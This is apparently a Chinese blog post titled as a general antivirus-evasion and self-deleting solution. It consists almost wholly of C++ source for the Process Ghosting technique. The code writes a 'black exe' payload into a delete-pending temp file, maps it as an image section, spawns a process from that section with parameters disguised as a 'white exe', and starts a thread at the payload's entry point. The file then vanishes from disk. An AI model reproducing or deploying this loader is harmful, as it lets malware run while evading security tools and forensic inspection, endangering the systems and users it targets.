ProcessGhosting-一套通用的免杀，自删除解决方案

BYTE* buffer_payload(wchar_t *filename, OUT size_t &r_size) {    HANDLE file = CreateFileW(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);//获取文件handle    if (file == INVALID_HANDLE_VALUE) {        cout << "create file fail!n" << endl;    }    HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0); //打开或创建文件的映射对象，返回值为新创建的文件映射handle    if (!mapping) {        CloseHandle(file);        return nullptr;        cout << "create map fail!n" << endl;    }    BYTE* dllRawData = (BYTE*)MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);//将文件映射handle映射到进程空间    if (dllRawData == nullptr) {        cout << "map move fail!n" << endl;        CloseHandle(mapping);        CloseHandle(file);        return nullptr;    }    r_size = GetFileSize(file, 0);    BYTE* localCopyAddress = (BYTE*)VirtualAlloc(NULL, r_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);//内存中申请文件大小的地址空间    memcpy(localCopyAddress, dllRawData, r_size);    UnmapViewOfFile(dllRawData);//解映射    CloseHandle(mapping);    CloseHandle(file);    return localCopyAddress;
}

bool process_ghost(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize){    wchar_t dummy_name[MAX_PATH] = { 0 };    wchar_t temp_path[MAX_PATH] = { 0 };    DWORD size = GetTempPathW(MAX_PATH, temp_path);//获取temp文件路径    GetTempFileNameW(temp_path, L"TH", 0, dummy_name);//给temp文件创建一个名称
    HANDLE hSection = make_section_from_delete_pending_file(dummy_name, payladBuf, payloadSize);//将temp文件属性设置为删除状态，并将文件映射进section    if (!hSection || hSection == INVALID_HANDLE_VALUE) {        return false;    }    HANDLE hProcess = nullptr;    NTSTATUS status = NtCreateProcessEx(        &hProcess,        PROCESS_ALL_ACCESS,        NULL,        NtCurrentProcess(),        PS_INHERIT_HANDLES,        hSection,        NULL,        NULL,        FALSE    );//根据传入的section创建process    if (status != STATUS_SUCCESS) {        cerr << "NtCreateProcessEx failed! Status: " << hex << status << endl;        if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) {            cerr << "[!] The payload has mismatching bitness!" << endl;        }        return false;    }    PROCESS_BASIC_INFORMATION pi = { 0 };    DWORD ReturnLength = 0;    status = NtQueryInformationProcess(        hProcess,        ProcessBasicInformation,        &pi,        sizeof(PROCESS_BASIC_INFORMATION),        &ReturnLength    );//索引创建的进程基础信息    if (status != STATUS_SUCCESS) {        std::cerr << "NtQueryInformationProcess failed" << std::endl;        return false;    }    PEB peb_copy = { 0 };    if (!buffer_remote_peb(hProcess, pi, peb_copy)) {//将black exe的内存数据复制到peb_copy，主要作用是获取ImageBaseAddress        return false;    }    ULONGLONG imageBase = (ULONGLONG)peb_copy.ImageBaseAddress;    DWORD payload_ep = get_entry_point_rva(payladBuf);//获取入口点的偏移地址    ULONGLONG procEntry = payload_ep + imageBase;//获取到入口点的地址    if (!setup_process_parameters(hProcess, pi, targetPath)) {//将环境变量写入进程的内存空间，此处是唯一一次用到white exe的地方:)        std::cerr << "Parameters setup failed" << std::endl;        return false;    }    HANDLE hThread = NULL;    status = NtCreateThreadEx(&hThread,        THREAD_ALL_ACCESS,        NULL,        hProcess,        (LPTHREAD_START_ROUTINE)procEntry,        NULL,        FALSE,        0,        0,        0,        NULL    );//在进程中black exe内存的入口点创建线程
    if (status != STATUS_SUCCESS) {        std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl;        return false;    }
    return true;}

HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) {    HANDLE hDelFile = open_file(filePath);//打开temp文件    NTSTATUS status = 0;    IO_STATUS_BLOCK status_block = { 0 };
    FILE_DISPOSITION_INFORMATION info = { 0 };    info.DeleteFile = TRUE;    status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation);//改变文件对象信息，将设置为请求删除文件状态。    if (!NT_SUCCESS(status)) {        cout << "Setting information failed: " << hex << status << "n";        return INVALID_HANDLE_VALUE;    }    LARGE_INTEGER ByteOffset = { 0 };
    status = NtWriteFile(        hDelFile,        NULL,        NULL,        NULL,        &status_block,        payladBuf,        payloadSize,        &ByteOffset,        NULL    );//将传入的black exe的内存地址写入temp文件    if (!NT_SUCCESS(status)) {        DWORD err = GetLastError();        cout << "Failed writing payload! Error: " << hex << err << endl;        return INVALID_HANDLE_VALUE;    }    HANDLE hSection = nullptr;    status = NtCreateSection(&hSection,        SECTION_ALL_ACCESS,        NULL,        0,        PAGE_READONLY,        SEC_IMAGE,        hDelFile    );//为temp文件创建section    if (status != STATUS_SUCCESS) {        cerr << "NtCreateSection failed: " << hex << status << endl;        return INVALID_HANDLE_VALUE;    }    NtClose(hDelFile);//关闭handle，同时temp文件消失    hDelFile = nullptr;
    return hSection;}